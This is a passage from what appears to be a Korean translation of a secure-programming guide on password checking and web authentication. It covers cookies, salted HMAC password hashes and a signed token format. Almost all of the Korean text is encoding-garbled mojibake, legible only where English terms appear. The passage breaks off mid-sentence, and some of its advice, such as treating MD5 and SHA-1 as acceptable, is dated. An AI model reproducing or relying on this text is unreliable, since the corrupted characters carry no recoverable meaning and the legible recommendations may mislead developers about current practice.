¾ÖÇø®ÄÉÀ̼ǿ¡¼­ »ç¿ëÀÚ°¡ ÆÐ½º¿öµå¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù¸é ÆÐ½º¿öµå¸¦ °Ë»çÇØ ´ÜÁö "¾ÈÀüÇÑ" ÆÐ½º¿öµå¸¸À» Çã¿ëÇØ¶ó (¿¹, »çÀü¿¡ ÀÖÁö ¾Ê°í ¾î¶² ÃÖ¼Ò ±æÀ̸¦ °®´Â µî). ¾ÈÀüÇÑ ÆÐ½º¿öµå¸¦ ¼±ÅÃÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­´Â http://consult.cern.ch/writeup/security/security_3.html ¿Í °°Àº Á¤º¸¸¦ º¸°í ½ÍÀ» °ÍÀÌ´Ù. °¡´ÉÇÏ´Ù¸é PAM À» »ç¿ëÇØ¾ß Çϴµ¥ ÀÌ´Â ÀåÂø½Ä ÆÐ½º¿öµå üĿ (checker) Áö¿øÇϱ⠶§¹®ÀÌ´Ù.


10.2. À¥¿¡¼­ ÀÎÁõ

À¥¿¡¼­ À¥ ¼­¹ö´Â º¸Åë SSL ¹× TLS ¶Ç´Â ¼­¹ö ÀÎÁõ¼­¸¦ »ç¿ëÇØ »ç¿ëÀÚ¿¡°Ô ÀÎÁõ¹Þ´Â´Ù - ±×·¯³ª »ç¿ëÀÚ°¡ ´©±¸ÀÎÁö¸¦ ÀÎÁõÇÏ´Â °ÍÀº ±×¸¸Å­ ½±Áö ¾Ê´Ù. SSL °ú TLS ´Â Ŭ¶óÀÌ¾ðÆ®Æ¯ ÀÎÁõ¼­¸¦ Áö¿øÇÏÁö¸¸ À̵éÀ» ½ÇÁ¦ »ç¿ëÇÒ ¶§ ¸¹Àº Çö½ÇÀûÀÎ ¹®Á¦µéÀÌ ÀÖ´Ù (¿¹, À¥ ºê¶ó¿ìÀú´Â À¯ÀÏÇÑ »ç¿ëÀÚ ÀÎÁõ¼­ Æ÷¸ËÀ» Áö¿øÇÏÁö ¾ÊÀ¸¸ç »ç¿ëÀÚ°¡ À̸¦ ¼³Ä¡Çϱâ´Â ¾î·Æ´Ù). ÀÚ¹Ù ¹× ÀÚ¹Ù ½ºÅ©¸³Æ®¸¦ »ç¿ëÇÏ´Â °ÍÀº ¸¹Àº »ç¿ëÀÚ°¡ À̵éÀ» ±ÝÁöÇϰí, ¸î¸î ¹æÈ­º®ÀÌ À̵éÀ» °É·¯³»°í ¶ÇÇÑ ¼Óµµ°¡ ´À·ÁÁö±â ½±±â ¶§¹®¿¡ ±× ƯÀ¯ÀÇ ¹®Á¦¸¦ °®°í ÀÖ´Ù. ´ëºÎºÐÀÇ °æ¿ì ¸ðµç »ç¿ëÀÚ¿¡°Ô Ç÷¯±×ÀÎÀ» ¼³Ä¡Çϵµ·Ï ¿ä±¸ÇÏ´Â °Í ¶ÇÇÑ ºñÇö½ÇÀûÀε¥ ½Ã½ºÅÛÀÌ ºñ±³Àû ¼Ò¼öÀÇ »ç¿ëÀÚµéÀ» À§ÇÑ ÀÎÆ®¶ó³Ý¿ëÀ̶ó¸é ÀûÇÕÇÒ ¼öµµ ÀÖ´Ù.

ÀÎÆ®¶ó³Ý ¾ÖÇø®ÄÉÀ̼ÇÀ» ±¸ÃàÇϰí ÀÖ´Ù¸é ÀϹÝÀûÀ¸·Î »ç¿ëÀÚ°¡ »ç¿ëÇÏ´Â ÀÎÁõ ½Ã½ºÅÛ¸¸Å­Àº »ç¿ëÇØ¾ß ÇÑ´Ù. µû¶ó¼­ Kerberos ¿¡ ÀÇÁ¸ÇÑ´Ù¸é Kerberos ¸¦ »ç¿ëÇϵµ·Ï ½Ã½ºÅÛÀ» ¼³°èÇØ¶ó. °ü¸® ±â°üÀÌ ÃßÈÄ ÀÎÁõ ½Ã½ºÅÛÀ» º¯°æ½Ãų ¼öµµ ÀÖ±â (º¯°æ½Ãų °ÍÀ̱â) ¶§¹®¿¡ À̸¦ ¾ÖÇø®ÄÉÀ̼ÇÀÇ ³ª¸ÓÁö ºÎºÐ°ú ºÐ¸®ÇÏ·Á°í ÇØ¶ó.

¸¹Àº ¹æ¹ýµéÀº È¿°úÀûÀÌÁö ¾ÊÀ¸¸ç ¶ÇÇÑ ÃæºÐÈ÷ È¿°úÀûÀÌÁö ¾Ê´Ù. ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº º»ÁúÀûÀ¸·Î ¸ðµç ºê¶ó¿ìÀú¿Í ¼­¹ö¿¡ ³»ÀåµÇ¾î ÀÖ´Â ``±âº»ÀûÀÎ ÀÎÁõ"À» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ºÒÇàÈ÷ ±âº»ÀûÀÎ ÀÎÁõÀº ÆÐ½º¿öµå¸¦ Æò¹®À¸·Î º¸³»±â ¶§¹®¿¡ ÆÐ½º¿öµå¸¦ ÈÉÄ¡±â ½±°Ô ÇÑ´Ù; ±âº»ÀûÀÎ ÀÎÁõ ÀÚü´Â ½ÇÁ¦·Î ¾µ¸ð¾ø´Â Á¤º¸¿¡ ´ëÇØ¼­¸¸ À¯¿ëÇÏ´Ù. ¸ðµç ±âº»ÀûÀÎ ÀÎÁõ ÆÐ½º¿öµå¸¦ SSL/TLS ¿¬°á (¾ÏȣȭÇÒ ¼ö ÀÖ´Ù) ³»¿¡ °¨½Î¼­ º¸È£ÇÒ ¼ö ÀÖÁö¸¸ ÀÌ´Â ¼º´ÉÀÇ ÀúÇϸ¦ ¾ß±âÇÑ´Ù. ¶ÇÇÑ ``´ÙÀÌÁ¦½ºÆ® ÀÎÁõ"À» »ç¿ëÇÒ ¼ö Àִµ¥ ÁÁÀº ¹æ¹ýÀÌÁö¸¸ ºê¶ó¿ìÀú°¡ À̸¦ º¸ÆíÀûÀ¸·Î Áö¿øÇÏÁö ¾Ê°í ÀÖ´Ù. ÀÎÁõ Á¤º¸¸¦ »ç¿ëÀÚ°¡ ¼±ÅÃÇÑ URL ³»¿¡ ÀúÀåÇÒ ¼öµµ ÀÖÁö¸¸ ´ëºÎºÐÀÇ °æ¿ì ÀÌ·¸°Ô ÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù - ÀÌ Á¤º¸°¡ ´Ù¸¥ »ç¶÷¿¡°Ô ´©¼³µÉ ¼ö ÀÖ´Â ³Ê¹«³ª ¸¹Àº ¹æ¹ýÀÌ ÀÖ´Ù (¿¹, ¸¹Àº ºê¶ó¿ìÀú¿¡ ÀúÀåµÇ¾î ÀÖ´Â ºê¶ó¿ìÀú È÷½ºÅ丮 ·Î±×, ÇÁ·Ï½ÃÀÇ ·Î±×¸¦ ÅëÇØ ´©¼³µÇ°Å³ª, ±×¸®°í Referef: Çʵ带 ÅëÇØ ´Ù¸¥ À¥ »çÀÌÆ®·Î ´©¼³µÉ ¼öµµ ÀÖ´Ù).

µû¶ó¼­ ¿À´Ã³¯ À¥¿¡¼­ °¡Àå ÀϹÝÀûÀÎ ÀÎÁõ ¹æ¹ýÀº Äí۸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ÄíŰ´Â ½ÇÁ¦ ÀÌ ¸ñÀûÀ» À§ÇØ ¼³°èµÇÁö ¾Ê¾ÒÁö¸¸ ÀÎÁõ¿¡ »ç¿ëµÉ ¼ö ÀÖ´Ù - ±×·¯³ª º¸¾È Ãë¾à¼ºÀ» ¸¸µé±â À§ÇØ À̵éÀ» »ç¿ëÇÏ´Â ¸¹Àº À߸øµÈ ¹æ¹ýÀÌ Àֱ⠶§¹®¿¡ ÁÖÀÇÇØ¶ó. ÄíŰ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÏ Á¤º¸´Â ÀÌ¿¡ ´ëÇÑ ¿¹Àü ½ºÆå°ú ÇÔ²² IETF RFC 2965 ¸¦ º¸¶ó. Äí۸¦ »ç¿ëÇϱ⠾ ºê¶ó¿ìÀú (¿¹, ¸¶ÀÌÅ©·Î¼ÒÇÁÆ® ÀÎÅÍ³Ý ÀͽºÇ÷η¯ 6) °¡ ÇÁ¶óÀ̹ö½Ã ÇÁ·ÎÆÄÀÏ (¼­¹öÀÇ ·çÆ® µð·ºÅ丮¿¡ p3p.xml) À» °¡Á®¾ß ÇÑ´Ù°í ¿ä±¸ÇÒ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó.

¾î¶² »ç¿ëÀÚ´Â Äí۸¦ ¹Þ¾ÆµéÀÌÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó µû¶ó¼­ ÀÌ ¹æ¹ýÀº ¾ÆÁ÷±îÁö ´Ù¼ÒÀÇ ¹®Á¦¸¦ °®°í ÀÖ´Ù. ¿øÄ¢ÀûÀ¸·Î´Â ÀÌ ÀÎÁõ Á¤º¸¸¦ HTML ÆûÀÇ hidden Çʵ带 ÅëÇØ ÁÖ°í¹Þ¾Æ¾ß ÇÑ´Ù (ÀÌ´Â °ÅÀÇ ¸ðµç ºê¶ó¿ìÀú°¡ Áß¿äÄ¡ ¾Ê°Ô À̸¦ Áö¿øÇϱ⠶§¹®ÀÌ´Ù). Äí۸¦ °®´Â °Í°ú °°Àº µ¿ÀÏÇÑ ¹æ¹ýÀ» »ç¿ëÇÒ °ÍÀÌ´Ù - ´ÜÁö µ¥ÀÌŸ¸¦ »ç¿ëÀڷκÎÅÍ ¼­¹ö·Î º¸³»±â À§ÇØ ´Ù¸¥ ±â¼úÀ» »ç¿ëÇÒ °ÍÀÌ´Ù. ¹°·Ð ÀÌ ¹æ¹ýÀ» ±¸ÇöÇÑ´Ù¸é ÀÌ ÆäÀÌÁöµéÀÌ ´Ù¸¥ »ç¶÷µéÀÌ »ç¿ëÇÒ ¼ö ÀÖµµ·Ï ij½ÃµÇÁö ¾ÊÀ½À» º¸ÀåÇÏ´Â ¼³Á¤À» Æ÷ÇÔÇÒ Çʿ䰡 ÀÖ´Ù. ±×·¯³ª Äí۸¦ ÇÇÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù°í ÀúÀÚ´Â »ý°¢ÇÏÁö¸¸ ½ÇÁ¦·Î ÀÌ·¯ÇÑ ´Ù¸¥ ¹æ¹ýµéÀº ´ë°³ ´õ¿í ´õ ¸¹Àº °³¹ß ³ë·ÂÀ» ÇÊ¿ä·Î ÇÑ´Ù. ¸¹Àº ¾ÖÇø®ÄÉÀÌ¼Ç °³¹ßÀÚµéÀ» À§ÇØ À̸¦ ´ë±Ô¸ð·Î ±¸ÇöÇÏ´Â °ÍÀº ¾î·Æ±â ¶§¹®¿¡ ÀúÀÚ´Â ÇöÀç ÀÌ·¯ÇÑ ¹æ¹ýµéÀ» °­Á¶ÇÏÁö ¾Ê°í ÀÖ´Ù. °³¹ßÀÚ ¶Ç´Â »ç¿ëÀÚ¿¡ ÀÇÇØ Á¤È®ÇÏ°Ô ±¸ÇöµÉ ¼ö ¾øÀ» ¸¸Å­ ¾î·Á¿î ¹æ¹ýÀ» °­Á¶ÇÏ´Â ´ë½Å ²Ï º¸¾ÈÀûÀÌ¸ç ±¸ÇöÇϱ⠽¬¿î ¹æ¹ýÀ» ±â¼úÇÒ °ÍÀÌ´Ù. ±×·¯³ª º°´Ù¸¥ ¼ö°í¾øÀÌ À̸¦ ±¸ÇöÇÒ ¼ö ÀÖ´Ù¸é ¹Ýµå½Ã ÆûÀÇ hidden Çʵå¿Ü ¾ÏȣȭµÈ ¸µÅ© (¿¹, SSL/TLS) ¸¦ »ç¿ëÇØ ÀÎÁõ Á¤º¸¸¦ Àü¼ÛÇÏ´Â °ÍÀ» Áö¿øÇضó.

Fu [2001] ´Â Á¦¾ÈµÈ Á¢±Ù ¹æ¹ý°ú ÇÔ²² À¥¿¡¼­ÀÇ Å¬¶óÀÌ¾ðÆ® ÀÎÁõÀ» ³íÀÇÇϰí ÀÖ´Ù. ÀÌ´Â ´ëºÎºÐÀÇ À¥ »çÀÌÆ®¿¡ ´ëÇØ ÀúÀÚ°¡ ÃßõÇÏ´Â ¹æ¹ýÀÌ´Ù. ±âº»ÀûÀÎ °³³äÀº Ŭ¶óÀÌ¾ðÆ® ÀÎÁõÀ» µÎ ºÎºÐ ``·Î±ä ÀýÂ÷ (login procedure)" ¿Í ``ÀÏ·ÃÀÇ ¿äû ( subsequent requests) À¸·Î ³ª´©´Â °ÍÀÌ´Ù. ·Î±ä ÀýÂ÷¿¡¼­ ¼­¹ö´Â »ç¿ëÀÚ À̸§°ú ÆÐ½º¿öµå¸¦ ¿äûÇÏ°í »ç¿ëÀÚ°¡ À̵éÀ» Á¦°øÇÑ ÈÄ ¼­¹ö°¡ ``ÀÎÁõ ÅäÅ«"À» °®°í ÀÀ´äÇÑ´Ù. ÀÏ·ÃÀÇ ¿äû¿¡¼­ Ŭ¶óÀÌ¾ðÆ® (À¥ ºê¶ó¿ìÀú) ´Â ¼­¹ö¿¡ ¿äû°ú ÇÔ²² ÀÎÁõ ÅäÅ«À» º¸³½´Ù; ¼­¹ö´Â ÅäÅ«ÀÌ À¯È¿ÇÑÁö È®ÀÎÇϰí À¯È¿ÇÏ´Ù¸é ¿äûµÈ ¼­ºñ½º¸¦ Á¦°øÇÑ´Ù. À¥ ÀÎÁõ¿¡ ´ëÇÑ ´Ù¸¥ ÁÁÀº Á¤º¸ Ãâó´Â Seifried [2001] ÀÌ´Ù.


10.2.1. À¥¿¡¼­ ÀÎÁõ: ·Î±×ÀÎ

·Î±ä ÀýÂ÷´Â ÀϹÝÀûÀ¸·Î HTML ÆûÀ¸·Î ±¸ÇöµÈ´Ù; À¥ ºê¶ó¿ìÀú°¡ ´Ù¼ÒÀÇ À¯¿ëÇÑ ¾×¼ÇÀ» ÀÚµ¿ÀûÀ¸·Î ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÀúÀÚ´Â Çʵå¸íÀ¸·Î ``username" °ú ``password" ¸¦ »ç¿ëÇÒ °ÍÀ» Á¦¾ÈÇÑ´Ù. ¹Ýµå½Ã ÆÐ½º¿öµå°¡ ¾ÏȣȭµÈ ¿¬°á (https: ¿¬°áÀ» ÅëÇØ SSL ¶Ç´Â TLS ¸¦ »ç¿ë) À» ÅëÇØ Àü¼ÛµÇµµ·Ï ÇØ¶ó - ±×·¸Áö ¾Ê´Ù¸é µµÃ»À» ÅëÇØ ÆÐ½º¿öµå¸¦ ¼öÁýÇÒ ¼ö ÀÖ´Ù. »ç¿ëÀÚÀÇ ½ºÅ©¸°À» º¼ ¼ö ÀÖ´Â ´©±º°¡°¡ ÆÐ½º¿öµå ÅØ½ºÆ®¸¦ º¼ ¼ö ¾øµµ·Ï ¹Ýµå½Ã ¸ðµç ÆÐ½º¿öµå ÅØ½ºÆ® Çʵå´Â ÆÐ½º¿öµå·Î Ç¥½ÃÇØ¶ó.

»ç¿ëÀÚ À̸§°ú ÆÐ½º¿öµå°¡ º¸³»Áú ¶§ ÀÌ´Â »ç¿ëÀÚ °èÁ¤ÀÇ Å×ÀÌŸº£À̽º¿¡ ´ëÇØ °Ë»çµÇ¾î¾ß ÇÑ´Ù. ÀÌ µ¥ÀÌŸº£À̽º´Â ÆÐ½º¿öµå¸¦ ``Æò¹®"À¸·Î ÀúÀåÇÏÁö ¾Ê¾Æ¾ß Çϴµ¥ ´©±º°¡ ÀÌ µ¥ÀÌŸº£À̽ºÀÇ º¹»çº»À» ¾ò´Â´Ù¸é ¸ðµç »ç¶÷ÀÇ ÆÐ½º¿öµå¸¦ °©Àڱ⠾òÀ» ¼ö ÀÖ´Ù (»ç¿ëÀÚ´Â ´ë°³ ÆÐ½º¿öµå¸¦ Àç»ç¿ëÇÑ´Ù). ¾î¶² »ç¶÷Àº À̸¦ ´Ù·ç±â À§ÇØ crypt() ¸¦ »ç¿ëÇÏÁö¸¸ crypt ´Â ´ÜÁö ¼Ò·®ÀÇ ÀԷ¸¸À» ´Ù·ê ¼ö ÀÖ´Ù. µû¶ó¼­ ÀúÀÚ´Â ´Ù¸¥ Á¢±Ù ¹æ¹ýÀ» »ç¿ëÇÒ °ÍÀ» ÃßõÇÑ´Ù (ÀÌ´Â ÀúÀÚÀÇ ¹æ¹ýÀ¸·Î Fu [2001] Àº À̸¦ ³íÀÇÇϰí ÀÖÁö ¾Ê´Ù). ´ë½Å »ç¿ëÀÚ µ¥ÀÌŸº£À̽º´Â »ç¿ëÀÚ¿¡ ´ëÇÑ »ç¿ëÀÚ À̸§, salt ¿Í ÆÐ½º¿öµå ÇØ½Ã¸¦ ÀúÀåÇØ¾ß ÇÑ´Ù. ''salt" ´Â ´ÜÁö ¹®ÀÚµéÀÇ ÀÓÀÇÀÇ ½ÃÄö½º·Î °ø°ÝÀÚ°¡ ÆÐ½º¿öµå µ¥ÀÌŸº£À̽º¸¦ ¾ò´Â´Ù ÇÏ´õ¶óµµ ÆÐ½º¿öµå °áÁ¤À» ´õ¿í ¾î·Æ°Ô Çϱâ À§ÇØ »ç¿ëµÈ´Ù - ÀúÀÚ´Â 8 ¹®ÀÚÀÇ ÀÓÀÇÀÇ ½ÃÄö½º¸¦ ÃßõÇÑ´Ù. ¾ÏÈ£ÇÐÀûÀ¸·Î ÀÓÀÇÀûÀÏ ÇÊ¿ä´Â ¾øÀ¸¸ç ´ÜÁö ´Ù¸¥ »ç¿ëÀڵ鿡 ´ëÇÑ °ª°ú ´Ù¸£¸é µÈ´Ù. ÆÐ½º¿öµå ÇØ½Ã´Â ``¼­¹ö key1", »ç¿ëÀÚ ÆÐ½º¿öµå¿Í salt ¸¦ ¿¬°áÇÑ ÈÄ ¾ÏÈ£ÇÐÀûÀ¸·Î º¸¾ÈÀûÀÎ ÇØ½Ã ¾Ë°í¸®µëÀ» »ç¿ëÇØ¼­ °è»êµÇ¾î¾ß ÇÑ´Ù. ¼­¹ö key1 Àº ÀÌ ¼­¹ö¿¡ °íÀ¯ÇÑ ºñ¹Ð ŰÀÌ´Ù - À̸¦ ÆÐ½º¿öµå µ¥ÀÌŸº£À̽º¿Í º°µµ·Î º¸°üÇØ¶ó. ¼­¹ö key1 À» °¡Áø »ç¶÷ÀÌ ÆÐ½º¿öµå µ¥ÀÌŸº£À̽º¸¦ °¡Á³´Ù¸é »ç¿ëÀÚ ÆÐ½º¿öµå¸¦ ¾Ë¾Æ³»±â À§ÇØ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¼ö ÀÖ´Ù; ¼­¹ö key1 Àº ±â¾ïµÉ Çʿ䰡 ¾ø±â ¶§¹®¿¡ ±æ°í º¹ÀâÇÑ ÆÐ½º¿öµåÀÏ ¼ö ÀÖ´Ù. HMAC-SHA-1 ¶Ç´Â HMAC-MD5 °¡ °¡Àå º¸¾ÈÀûÀÏ °ÍÀÌ´Ù; SHA-1 (´ëºÎºÐÀÇ À¥ »çÀÌÆ®´Â ½ÇÁ¦ ÀÌ ¾Ë°í¸®µëÀÌ Çã¿ëÇÏ´Â °ø°Ý¿¡ ´ëÇØ °ÆÁ¤ÇÏÁö ¾Ê°í ÀÖ´Ù) ¶Ç´Â MD5 (MD5 ¿¡ ´ëÇÑ ³íÀǸ¦ º¸¶ó) ¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù.

µû¶ó¼­ »ç¿ëÀÚ°¡ °èÁ¤À» ¸¸µé¶§ ÆÐ½º¿öµå´Â ÆÐ½º¿öµå µ¥ÀÌŸº£À̽º³»¿¡ ÇØ½ÃµÇ¾î ³õ¿©Áø´Ù. »ç¿ëÀÚ°¡ ·Î±×ÀÎÇÏ·Á°í ÇÒ¶§ ÁÖÀåµÈ ÆÐ½º¿öµå´Â ÇØ½ÃµÇ¾î µ¥ÀÌŸº£À̽º³»ÀÇ ÇØ½Ã¿Í ºñ±³µÈ´Ù (À̵éÀº µ¿ÀÏÇØ¾ß ÇÑ´Ù). »ç¿ëÀÚ°¡ ÆÐ½º¿öµå¸¦ º¯°æÇÒ ¶§ ¿¹Àü ¹× »õ·Î¿î ÆÐ½º¿öµå¸¦ ¸ðµÎ ŸÀÌÇÎÇØ¾ß ÇÏ¸ç »õ·Î¿î ÆÐ½º¿öµå´Â À߸ø ŸÀÌÇεÇÁö ¾Ê¾ÒÀ½À» È®ÀÎÇϱâ À§ÇØ µÎ¹ø ŸÀÌÇÎÇØ¾ß ÇÑ´Ù; ¶ÇÇÑ ÆÐ½º¿öµå ¹®ÀÚµéÁß ¾î´À ¹®ÀÚµµ ½ºÅ©¸°»ó¿¡¼­ º¼ ¼ö ¾øµµ·Ï ÇØ¶ó.

µðÆúÆ®·Î Äí۸¦ »ç¿ëÇϴ Ŭ¶óÀ̾ðÆ®ÀÇ À¥ ºê¶ó¿ìÀú¿¡ ÆÐ½º¿öµå ÀÚü¸¦ ÀúÀåÇÏÁö ¸¶¶ó - »ç¿ëÀÚµéÀº ¶§¶§·Î °øÀ¯µÇ´Â Ŭ¶óÀÌ¾ðÆ®¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù (°¡·É Ä¿ÇǼó). ¿øÇÑ´Ù¸é »ç¿ëÀÚ¿¡°Ô ºê¶ó¿ìÀú¿¡¼­ ``ÆÐ½º¿öµå ÀúÀåÇϱâ" ¿É¼ÇÀ» ÁÙ ¼ö ÀÖÁö¸¸ ÀÌ °æ¿ì ¹Ýµå½Ã ÆÐ½º¿öµå°¡ ``º¸¾ÈÀûÀÎ" ¿¬°áÀ» ÅëÇØ¼­¸¸ Àü¼ÛµÇµµ·Ï ¼³Á¤ÇÏ°í »ç¿ëÀÚ°¡ ¸íÈ®ÇÏ°Ô À̸¦ ¿äûÇϵµ·Ï ÇØ¶ó (µðÆúÆ®·Î À̸¦ ÇÏÁö´Â ¸¶¶ó).

¹Ýµå½Ã ij½ÃµÇÁö ¾Ê´Â ÆäÀÌÁö¸¦ Ç¥½ÃÇØ¶ó ±×·¸Áö ¾Ê´Ù¸é ¼­¹ö°¡ ±× ÆäÀÌÁö¸¦ »ç¿ëÀÚ¿¡°Ô ´Ù½Ã Á¦°øÇÒ °ÍÀÌ´Ù.

ÀÏ´Ü »ç¿ëÀÚ°¡ ¼º°øÀûÀ¸·Î ·Î±×ÀÎÇÏ¸é ¼­¹ö´Â ÄíŰ³»ÀÇ ``ÀÎÁõ ÅäÅ«"À» Ŭ¶óÀÌ¾ðÆ®¿¡ Àü¼ÛÇÒ Çʿ䰡 ÀÖ´Ù. ÀÌ´Â ´ÙÀ½¿¡ ±â¼úµÈ´Ù.


10.2.2. À¥¿¡¼­ ÀÎÁõ: ÀÏ·ÃÀÇ Çൿ

ÀÏ´Ü »ç¿ëÀÚ°¡ ·Î±×ÀÎÇÏ¸é ¼­¹ö´Â Ŭ¶óÀÌ¾ðÆ®¿¡ ÀÎÁõ ÅäÅ«À» °®°í ÀÖ´Â Äí۸¦ µÇµ¹·ÁÁØ´Ù. Á¦¾ÈµÈ ÅäÅ«Àº ´ÙÀ½°ú °°À» °ÍÀÌ´Ù:

  exp=t&data=s&digest=m

t ´Â ÅäÅ«ÀÇ ¸¸·á ½Ã°£ (°¡·É ¸î ½Ã°£) À̰í, data ´Â »ç¿ëÀÚ À̸§ ¶Ç´Â ¼¼¼Ç id µéÀ̰í digest ´Â keyed digest ÀÌ´Ù. ``data" ÀÇ Çʵå¸íÀ» ´õ¿í ¼³¸íÀûÀÎ »ç¿ëÀÚ À̸§ ¶Ç´Â ¼¼¼Ç id ·Î ÀÚÀ¯·Ó°Ô º¯°æÇÒ ¼ö ÀÖ´Ù. Keyed digest ´Â ¸¸·á ½Ã°£°ú data ¸¦ ¿¬°áÇÑ °ÍÀÇ ¾ÏÈ£ÇÐÀûÀÎ ÇØ½ÃÀÌ´Ù. µ¥ÀÌŸ¿¡ ÇÑ Çʵå ÀÌ»ó (¿¹, »ç¿ëÀÚ À̸§°ú ¼¼¼Ç id µÑ) À» °®´Â´Ù¸é ¹Ýµå½Ã digest °¡ ÀÎÁõÇÏ·Á´Â Çʵå¸í°ú ¸ðµç ÇʵåÀÇ data ¸ðµÎ¸¦ »ç¿ëÇϵµ·Ï ÇØ¶ó; À̵éÀ» Çʵå data °ª ¾îµð¿¡µµ ÀÖÀ» ¼ö ¾ø´Â ÆÐÅÏ (¿¹, ``%%", ``+" ¶Ç´Â ``&") À» ÀÌ¿ëÇØ ¿¬°áÇØ¶ó. Keyed digest ´Â º°°³ÀÇ ¼­¹ö Ű (key2) ¸¦ »ç¿ëÇÏ´Â HMAC-MD5 ¶Ç´Â HMAC-SHA1 À» »ç¿ëÇØ¾ß ÇÑ´Ù. ÀÌ key2 °¡ ¼Õ»óµÈ´Ù¸é ´©±¸¶óµµ ¼­¹ö¿¡ ÀÎÁõ¹ÞÀ» ¼ö ÀÖÀ¸¸ç key2 ¸¦ º¯°æÇÏ´Â °ÍÀÌ ½±´Ù - º¯°æÇÑ´Ù¸é ÀÌ´Â ´Ü¼øÈ÷ ÇöÀç ``·Î±×ÀÎ ÇØ ÀÖ´Â" »ç¿ëÀÚ¿¡°Ô ÀçÀÎÁõ¹Þµµ·Ï ¿ä±¸ÇÒ °ÍÀÌ´Ù. ´õ¿í ÀÚ¼¼ÇÑ »çÇ×Àº Fu [2001] À» º¸¶ó.

±×¶§ºÎÅÍ ¼­¹ö´Â ÀÌ ÀÎÁõ ÅäÅ«ÀÇ ¸¸·á ½Ã°£°ú digest ¸¦ °Ë»çÇØ ÀÏÄ¡ÇÏ´Â °æ¿ì¿¡¸¸ µ¥ÀÌŸ¸¦ Á¦°øÇØ¾ß ÇÑ´Ù. ÅäÅ«ÀÌ ¾ø´Ù¸é »ç¿ëÀÚ ·Î±ä ÆäÀÌÁö (¼º°øÀûÀÎ ·Î±ä½Ã ¾îµð·Î °¡´Â Áö¸¦ º¸ÀÌ´Â ¼û°ÜÁø Æû Çʵ带 °®°í ÀÖ´Ù) ·Î ´Ù½Ã ÀÀ´äÇÒ °ÍÀÌ´Ù .

ÀÎÁõ ÅäÅ«¿¡ ¼¼¼Ç id ¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù¸é Á¢±ÙÀ» ´õ¿í Á¦ÇÑÇÒ ¼ö ÀÖ´Ù. ¼­¹ö´Â »ç¿ëÀÚ°¡ ÁÖ¾îÁø ¼¼¼Ç¿¡¼­ ¾î¶² ÆÐÀÌÁö¸¦ º¸¾Ò´ÂÁö ÃßÀûÇÒ ¼ö ÀÖÀ¸¸ç ´ÜÁö ÀûÀýÇÑ ÆäÀÌÁö¿¡ ´ëÇÑ Á¢±Ù¸¸ Çã¿ëÇÒ ¼ö ÀÖ´Ù (¿¹, ÀÌ·¯ÇÑ ÆäÀÌÁöµé¿¡¼­ Á÷Á¢ÀûÀ¸·Î ¸µÅ©µÇ¾î ÀÖ´Â ÆäÀÌÁöµé). ¿¹¸¦ µé¾î »ç¿ëÀÚ°¡ foo.html ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ°í foo.html ÆäÀÌÁö°¡ ÀÚ¿ø bar1.jpg ¿Í bar2.png ¿¡ ´ëÇÑ Æ÷ÀÎÅ͸¦ °®°í ÀÖ´Ù¸é bar4.cgi ¿¡ ´ëÇÑ Á¢±ÙÀº °ÅÀýµÉ ¼ö ÀÖ´Ù. ¼¼¼ÇÀ» Á¾·áÇÒ ¼öµµ Àִµ¥ ÀÌ´Â ÀÎÁõ Á¤º¸°¡ À¯È¿ÇÑ °æ¿ì¿¡¸¸ ÇØ¶ó (±×·¸Áö ¾Ê´Ù¸é °ø°ÝÀÚ°¡ ´Ù¸¥ »ç¿ëÀÚ¿¡ ´ëÇØ ¼­ºñ½º ºÎÀÎ °ø°ÝÀ» ¾ß±âÇÒ ¼öµµ ÀÖ°Ô ÇÑ´Ù). ÀÌ´Â °ø°ÝÀÚ°¡ ¼¼¼ÇÀ» ¼º°øÀûÀ¸·Î °¡·Îæ´Ù ÇÏ´õ¶óµµ ¾î´À Á¤µµ °ø°ÝÀÚ°¡ °®´Â Á¢±ÙÀ» Á¦ÇÑÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ½Ã°£°ú ÀÎÁõ ÅäÅ«À» °®°í ÀÖ´Â °ø°ÝÀÚ´Â Á¤»óÀûÀÎ »ç¿ëÀÚ¿Í °°ÀÌ ¸µÅ©¸¦ µû¶ó ÆäÀÌÁöµéÀ» º¼ ¼ö ÀÖÀ» °ÍÀÌ´Ù.

ÇѰ¡Áö °áÁ¤ÇØ¾ß ÇÏ´Â °ÍÀº ÀÎÁõ ÅäÅ« ¹×/¶Ç´Â data °¡ º¸¾ÈÀûÀÎ ¿¬°á(¿¹, SSL) À» ÅëÇØ º¸³»Á®¾ß ÇÏ´Â Áö ¶Ç´Â ¾Æ´ÑÁöÀÌ´Ù. ÀÎÁõ ÅäÅ«À» Æò¹®À¸·Î (ºñº¸¾ÈÀûÀ¸·Î) Àü¼ÛÇÑ´Ù¸é ÅäÅ«À» °¡·Îæ ´©±º°¡´Â ¸¸·á ½Ã°£±îÁö »ç¿ëÀÚ°¡ ÇÒ ¼ö ÀÖ´Â ¸ðµç °ÍÀ» ÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ µ¥ÀÌŸ¸¦ ¾ÏȣȭµÇÁö ¾ÊÀº ¸µÅ©¸¦ ÅëÇØ Àü¼ÛÇÒ ¶§ °ø°ÝÀÚ°¡ ´«¿¡ ¶çÁö ¾Ê°Ô º¯°æÇÒ ¼ö ÀÖ´Â À§Çèµµ ÀÖ´Ù; ´©±º°¡°¡ Àü¼ÛÁß¿¡ µ¥ÀÌŸ¸¦ º¯°æÇÒ ¼öµµ ÀÖ´Ù°í °ÆÁ¤ÇÑ´Ù¸é Àü¼ÛµÇ¾î Áö´Â µ¥ÀÌŸ¸¦ ÀÎÁõÇÒ Çʿ䰡 ÀÖ´Ù. ¾Ïȣȭ ÀÚü´Â 